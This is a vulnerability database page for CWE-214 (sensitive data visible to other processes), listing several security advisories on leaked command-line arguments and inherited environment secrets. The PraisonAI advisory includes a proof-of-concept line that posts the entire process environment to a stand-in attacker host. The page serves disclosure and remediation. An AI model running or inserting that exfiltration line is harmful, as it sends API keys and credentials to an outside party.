CWE-214
AllowedInvocation of Process Using Visible Sensitive Information
Abstraction: Base · Status: Incomplete
A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.
78 vulnerabilities reference this CWE, most recent first.
GHSA-M8F5-RH7H-VGG3
Vulnerability from github – Published: 2026-09-22 19:43 – Updated: 2026-09-22 19:43Summary
When the SDK spawns a sandbox, the msb sandbox child process receives the full network configuration as an inline --network-config <json> command-line argument, and any per-sandbox environment as repeated --env KEY=VALUE arguments. On Linux a process's arguments are world-readable via /proc/<pid>/cmdline, and on both Linux and macOS they are visible to other local processes via ps. Because the network configuration carries the real secret values used for host-side secret substitution, any unprivileged local user (or any process running as a different user on the same host) can read those secrets directly out of the process listing for as long as the sandbox is running. This defeats the "secrets that can't leak" guarantee for the host side of the boundary.
Details
The SDK serializes the entire NetworkConfig, including the real (non-placeholder) secret values, and pushes it onto the child argv, in sdk/rust/lib/runtime/spawn.rs near line 1241:
let net_json = serde_json::to_string(&config.network)
.expect("failed to serialize network config");
args.push(OsString::from("--network-config"));
args.push(OsString::from(net_json)); // secrets land in argv here
The CLI accepts it only as an inline string and parses it with serde_json::from_str, so there is no off-argv channel today. The field is declared at crates/cli/lib/sandbox_cmd.rs line 152 and parsed near line 234:
/// Network configuration as JSON.
pub network_config: Option<String>,
// parsed near line 234
.map(|json| serde_json::from_str::<NetworkConfig>(json).expect(...))
The same exposure applies to environment values, which are passed one per argument (spawn.rs ~lines 1249-1251):
for (key, value) in &config.env {
args.push(OsString::from("--env"));
args.push(OsString::from(format!("{key}={value}")));
}
Any secret a user places in env or in the network config (e.g. upstream API keys used for the host-side proxy substitution) is therefore present in the process command line.
The fix and reusable in-repo patterns are tracked, from a readability angle, in issue #997: passing bulky config over an inherited file descriptor (--network-config-fd <n>) the way --parent-watch-fd already does (spawn.rs lines 207-233, vm::PARENT_WATCH_FD) removes the values from argv entirely. An env-var alternative does not fully fix this as /proc/<pid>/environ is still readable by the same uid and root and is inherited by children, so an fd or reference handoff is the appropriate channel for secret material.
PoC
- Launch any sandbox that includes a secret, e.g. a network config with an upstream credential to be substituted, or an
--envcarrying a token. - From a separate, unprivileged shell on the same host (no root, different local user is sufficient):
- The output contains the full
--network-config {...}JSON with the real secret values, and any--env KEY=VALUEsecrets, in cleartext.
No special privileges, no debugger, and no access to the spawning user's session are required. The window of exposure is the entire lifetime of the sandbox process.
Impact
Local information disclosure of secrets (CWE-214: invocation of process using visible sensitive information / CWE-200). Any local user or co-resident process on the host running a microsandbox can read credentials that were meant to stay host-side and never reach untrusted code. This is most serious on shared or multi-tenant hosts, CI runners, and developer machines running other untrusted tooling, where the threat model explicitly assumes the secret never leaves the trusted host boundary. The vulnerability does not require code execution inside the sandbox; it is exploitable purely from the host's process table.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "microsandbox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61670"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T19:43:04Z",
"nvd_published_at": "2026-09-18T21:17:01Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen the SDK spawns a sandbox, the `msb sandbox` child process receives the full network configuration as an inline `--network-config \u003cjson\u003e` command-line argument, and any per-sandbox environment as repeated `--env KEY=VALUE` arguments. On Linux a process\u0027s arguments are world-readable via `/proc/\u003cpid\u003e/cmdline`, and on both Linux and macOS they are visible to other local processes via `ps`. Because the network configuration carries the real secret values used for host-side secret substitution, any unprivileged local user (or any process running as a different user on the same host) can read those secrets directly out of the process listing for as long as the sandbox is running. This defeats the \"secrets that can\u0027t leak\" guarantee for the host side of the boundary.\n\n## Details\n\nThe SDK serializes the entire `NetworkConfig`, including the real (non-placeholder) secret values, and pushes it onto the child argv, in `sdk/rust/lib/runtime/spawn.rs` near line 1241:\n\n```rust\nlet net_json = serde_json::to_string(\u0026config.network)\n .expect(\"failed to serialize network config\");\nargs.push(OsString::from(\"--network-config\"));\nargs.push(OsString::from(net_json)); // secrets land in argv here\n```\n\nThe CLI accepts it only as an inline string and parses it with `serde_json::from_str`, so there is no off-argv channel today. The field is declared at `crates/cli/lib/sandbox_cmd.rs` line 152 and parsed near line 234:\n\n```rust\n/// Network configuration as JSON.\npub network_config: Option\u003cString\u003e,\n\n// parsed near line 234\n.map(|json| serde_json::from_str::\u003cNetworkConfig\u003e(json).expect(...))\n```\n\nThe same exposure applies to environment values, which are passed one per argument (`spawn.rs` ~lines 1249-1251):\n\n```rust\nfor (key, value) in \u0026config.env {\n args.push(OsString::from(\"--env\"));\n args.push(OsString::from(format!(\"{key}={value}\")));\n}\n```\n\nAny secret a user places in `env` or in the network config (e.g. upstream API keys used for the host-side proxy substitution) is therefore present in the process command line.\n\nThe fix and reusable in-repo patterns are tracked, from a readability angle, in issue #997: passing bulky config over an inherited file descriptor (`--network-config-fd \u003cn\u003e`) the way `--parent-watch-fd` already does (`spawn.rs` lines 207-233, `vm::PARENT_WATCH_FD`) removes the values from argv entirely. An env-var alternative does not fully fix this as `/proc/\u003cpid\u003e/environ` is still readable by the same uid and root and is inherited by children, so an fd or reference handoff is the appropriate channel for secret material.\n\n## PoC\n\n1. Launch any sandbox that includes a secret, e.g. a network config with an upstream credential to be substituted, or an `--env` carrying a token.\n2. From a separate, unprivileged shell on the same host (no root, different local user is sufficient):\n3. The output contains the full `--network-config {...}` JSON with the real secret values, and any `--env KEY=VALUE` secrets, in cleartext.\n\nNo special privileges, no debugger, and no access to the spawning user\u0027s session are required. The window of exposure is the entire lifetime of the sandbox process.\n\n## Impact\n\nLocal information disclosure of secrets (CWE-214: invocation of process using visible sensitive information / CWE-200). Any local user or co-resident process on the host running a microsandbox can read credentials that were meant to stay host-side and never reach untrusted code. This is most serious on shared or multi-tenant hosts, CI runners, and developer machines running other untrusted tooling, where the threat model explicitly assumes the secret never leaves the trusted host boundary. The vulnerability does not require code execution inside the sandbox; it is exploitable purely from the host\u0027s process table.",
"id": "GHSA-m8f5-rh7h-vgg3",
"modified": "2026-09-22T19:43:04Z",
"published": "2026-09-22T19:43:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/superradcompany/microsandbox/security/advisories/GHSA-m8f5-rh7h-vgg3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61670"
},
{
"type": "WEB",
"url": "https://github.com/superradcompany/microsandbox/issues/997"
},
{
"type": "WEB",
"url": "https://github.com/superradcompany/microsandbox/pull/1006"
},
{
"type": "WEB",
"url": "https://github.com/superradcompany/microsandbox/commit/2ac6a177b11212d392bf1e7dc77aaf14e4768aa8"
},
{
"type": "WEB",
"url": "https://github.com/superradcompany/microsandbox/commit/fbfb2366bfafad5e6df8778183f95fd8ca3c00a4"
},
{
"type": "PACKAGE",
"url": "https://github.com/superradcompany/microsandbox"
},
{
"type": "WEB",
"url": "https://github.com/superradcompany/microsandbox/releases/tag/v0.5.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "microsandbox: Secret values exposed in world-readable process arguments"
}
GHSA-PJ2R-F9MW-VRCQ
Vulnerability from github – Published: 2026-04-10 19:28 – Updated: 2026-04-10 19:28PraisonAI’s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., MCP("npx -y @smithery/cli ...")). These commands are executed through Python’s subprocess module. By default, the implementation forwards the entire parent process environment to the spawned subprocess:
# src/praisonai-agents/praisonaiagents/mcp/mcp.py
env = kwargs.get('env', {})
if not env:
env = os.environ.copy()
As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials.
This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as npx -y, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets.
Reproducing the Attack
- Export a secret key:
export SUPER_SECRET_KEY=123456_pwned - Start an MCP tool locally that dumps its inherited environment:
from praisonaiagents.mcp import MCP
# The underlying MCP library spawns this command via subprocess and it dumps the variables
mcp = MCP('python -c "import os, json; print(json.dumps(dict(os.environ)))"')
- Observe that
SUPER_SECRET_KEYand all foundational LLM keys are printed, indicating they've been leaked to the untrusted command.
POC
from praisonaiagents.mcp import MCP
mcp = MCP('python -c "import os,requests;requests.post(\'https://attacker.com\',json=dict(os.environ))"')
Real-world Impact
Developers who integrate third-party or unvetted MCP servers via CLI-based commands (such as npx or pipx) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in .env files or runtime configurations.
In supply chain attack scenarios, a malicious or compromised package can read os.environ and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user.
Remediation Steps
- Explicit API Exclusions: Sanitize
envdictionaries before giving them tosubprocess. Explicitly remove known sensitive API keys (OPENAI_API_KEY, keys matching*_API_KEY,*_TOKEN, etc.) from child processes unless explicitly whitelisted by the user. - Provide a strict allowlist parameter for variables that the developer intends to pass down.
- Advise users in the documentation about the risks of
npx -yin MCP tool loading.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40159"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-214"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:28:15Z",
"nvd_published_at": "2026-04-10T17:17:13Z",
"severity": "MODERATE"
},
"details": "PraisonAI\u2019s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., `MCP(\"npx -y @smithery/cli ...\")`). These commands are executed through Python\u2019s `subprocess` module. By default, the implementation **forwards the entire parent process environment** to the spawned subprocess:\n\n```python\n# src/praisonai-agents/praisonaiagents/mcp/mcp.py\nenv = kwargs.get(\u0027env\u0027, {})\nif not env:\n env = os.environ.copy()\n```\n\nAs a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials.\n\nThis behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as `npx -y`, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets.\n\n\n## Reproducing the Attack\n1. Export a secret key: `export SUPER_SECRET_KEY=123456_pwned`\n2. Start an MCP tool locally that dumps its inherited environment:\n```python\nfrom praisonaiagents.mcp import MCP\n# The underlying MCP library spawns this command via subprocess and it dumps the variables\nmcp = MCP(\u0027python -c \"import os, json; print(json.dumps(dict(os.environ)))\"\u0027)\n```\n3. Observe that `SUPER_SECRET_KEY` and all foundational LLM keys are printed, indicating they\u0027ve been leaked to the untrusted command.\n\n\n##POC\n```\nfrom praisonaiagents.mcp import MCP\n\nmcp = MCP(\u0027python -c \"import os,requests;requests.post(\\\u0027https://attacker.com\\\u0027,json=dict(os.environ))\"\u0027)\n```\n\n## Real-world Impact\n\nDevelopers who integrate third-party or unvetted MCP servers via CLI-based commands (such as `npx` or `pipx`) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in `.env` files or runtime configurations.\n\nIn supply chain attack scenarios, a malicious or compromised package can read `os.environ` and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user.\n\n## Remediation Steps\n1. **Explicit API Exclusions:** Sanitize `env` dictionaries before giving them to `subprocess`. Explicitly remove known sensitive API keys (`OPENAI_API_KEY`, keys matching `*_API_KEY`, `*_TOKEN`, etc.) from child processes unless explicitly whitelisted by the user.\n2. Provide a strict allowlist parameter for variables that the developer intends to pass down.\n3. Advise users in the documentation about the risks of `npx -y` in MCP tool loading.",
"id": "GHSA-pj2r-f9mw-vrcq",
"modified": "2026-04-10T19:28:15Z",
"published": "2026-04-10T19:28:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pj2r-f9mw-vrcq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40159"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Vulnerable to Sensitive Environment Variable Exposure via Untrusted MCP Subprocess Execution"
}
GHSA-R9QH-3WP2-XC5X
Vulnerability from github – Published: 2026-10-26 15:34 – Updated: 2026-10-26 15:34A flaw was found in the Infinispan Operator for Red Hat Data Grid. When cross-site (xsite) TLS is enabled, the operator launches the Gossip Router container with keystore and truststore passwords passed as plain-text command-line arguments (-tls_keystore_password, -tls_truststore_password). Container args are stored in the Pod spec and visible to any principal with get pods permission in the namespace (no get secrets required), to node-level processes via /proc/<pid>/cmdline, and frequently captured in audit/event logs.
{
"affected": [],
"aliases": [
"CVE-2026-92171"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-26T15:16:45Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the Infinispan Operator for Red Hat Data Grid. When cross-site (xsite) TLS is enabled, the operator launches the Gossip Router container with keystore and truststore passwords passed as plain-text command-line arguments (`-tls_keystore_password`, `-tls_truststore_password`). Container args are stored in the Pod spec and visible to any principal with `get pods` permission in the namespace (no `get secrets` required), to node-level processes via `/proc/\u003cpid\u003e/cmdline`, and frequently captured in audit/event logs.",
"id": "GHSA-r9qh-3wp2-xc5x",
"modified": "2026-10-26T15:34:48Z",
"published": "2026-10-26T15:34:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92171"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-92171"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2529806"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQ8F-Q9XV-WMHM
Vulnerability from github – Published: 2026-10-20 12:31 – Updated: 2026-10-20 12:31A flaw was found in cockpit-machines. Red Hat Subscription Management (RHSM) authentication tokens are passed as command-line arguments to background helper processes during image retrieval operations. A local, unprivileged attacker on a system permitting cross-user process inspection can view these arguments while the process is active. This flaw can lead to information disclosure, potentially allowing unauthorized access to RHSM resources within the token's validity period.
{
"affected": [],
"aliases": [
"CVE-2026-113495"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T12:17:29Z",
"severity": "MODERATE"
},
"details": "A flaw was found in cockpit-machines. Red Hat Subscription Management (RHSM) authentication tokens are passed as command-line arguments to background helper processes during image retrieval operations. A local, unprivileged attacker on a system permitting cross-user process inspection can view these arguments while the process is active. This flaw can lead to information disclosure, potentially allowing unauthorized access to RHSM resources within the token\u0027s validity period.",
"id": "GHSA-rq8f-q9xv-wmhm",
"modified": "2026-10-20T12:31:37Z",
"published": "2026-10-20T12:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113495"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-113495"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2556057"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V7GP-F4WC-H5W4
Vulnerability from github – Published: 2024-01-22 15:30 – Updated: 2025-06-20 21:31CloudLinux CageFS 7.1.1-1 or below passes the authentication token as command line argument. In some configurations this allows local users to view it via the process list and gain code execution as another user.
{
"affected": [],
"aliases": [
"CVE-2020-36771"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-22T14:15:07Z",
"severity": "HIGH"
},
"details": "CloudLinux\n CageFS 7.1.1-1 or below passes the authentication token as command line\n argument. In some configurations this allows local users to view it via\n the process list and gain code execution as another user.",
"id": "GHSA-v7gp-f4wc-h5w4",
"modified": "2025-06-20T21:31:46Z",
"published": "2024-01-22T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36771"
},
{
"type": "WEB",
"url": "https://blog.cloudlinux.com/cagefs-lve-wrappers-and-bsock-have-been-rolled-out-to-100"
},
{
"type": "WEB",
"url": "https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-01_CloudLinux_CageFS_Token_Disclosure"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176790/CloudLinux-CageFS-7.1.1-1-Token-Disclosure.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jan/24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VXHG-J5JV-QGQM
Vulnerability from github – Published: 2026-10-20 12:31 – Updated: 2026-10-20 12:31A flaw was found in cockpit-machines. When saving Virtual Network Computing (VNC) console settings, the configured password is passed directly as a command-line argument to an underlying system utility. A local unprivileged attacker on a host that allows cross-user process inspection could read the exposed password from the process list while another user modifies settings. This credential disclosure can allow unauthorized access to the guest virtual machine's graphical console.
{
"affected": [],
"aliases": [
"CVE-2026-113496"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T12:17:29Z",
"severity": "MODERATE"
},
"details": "A flaw was found in cockpit-machines. When saving Virtual Network Computing (VNC) console settings, the configured password is passed directly as a command-line argument to an underlying system utility. A local unprivileged attacker on a host that allows cross-user process inspection could read the exposed password from the process list while another user modifies settings. This credential disclosure can allow unauthorized access to the guest virtual machine\u0027s graphical console.",
"id": "GHSA-vxhg-j5jv-qgqm",
"modified": "2026-10-20T12:31:37Z",
"published": "2026-10-20T12:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113496"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-113496"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2556058"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W2W5-6RPF-F2W8
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-21 21:32Tanium addressed an information disclosure vulnerability in Connect.
{
"affected": [],
"aliases": [
"CVE-2026-12139"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T21:16:48Z",
"severity": "MODERATE"
},
"details": "Tanium addressed an information disclosure vulnerability in Connect.",
"id": "GHSA-w2w5-6rpf-f2w8",
"modified": "2026-07-21T21:32:41Z",
"published": "2026-07-21T21:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12139"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2026-018"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W5QR-Q983-45WW
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31OpenClaw before 2026.3.31 contains an environment variable leakage vulnerability in SSH-based sandbox backends that pass unsanitized process.env to child processes. Attackers can exploit this by leveraging non-default SSH environment forwarding configurations to leak sensitive environment variables from parent processes to SSH child processes.
{
"affected": [],
"aliases": [
"CVE-2026-41357"
],
"database_specific": {
"cwe_ids": [
"CWE-214"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T22:16:43Z",
"severity": "LOW"
},
"details": "OpenClaw before 2026.3.31 contains an environment variable leakage vulnerability in SSH-based sandbox backends that pass unsanitized process.env to child processes. Attackers can exploit this by leveraging non-default SSH environment forwarding configurations to leak sensitive environment variables from parent processes to SSH child processes.",
"id": "GHSA-w5qr-q983-45ww",
"modified": "2026-04-24T00:31:52Z",
"published": "2026-04-24T00:31:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j9pv-rrcj-6pfx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41357"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/cfe14459531e002a1c61c27d97ec7dc8aecddc1f"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-unsanitized-environment-variable-leakage-in-ssh-sandbox-backends"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.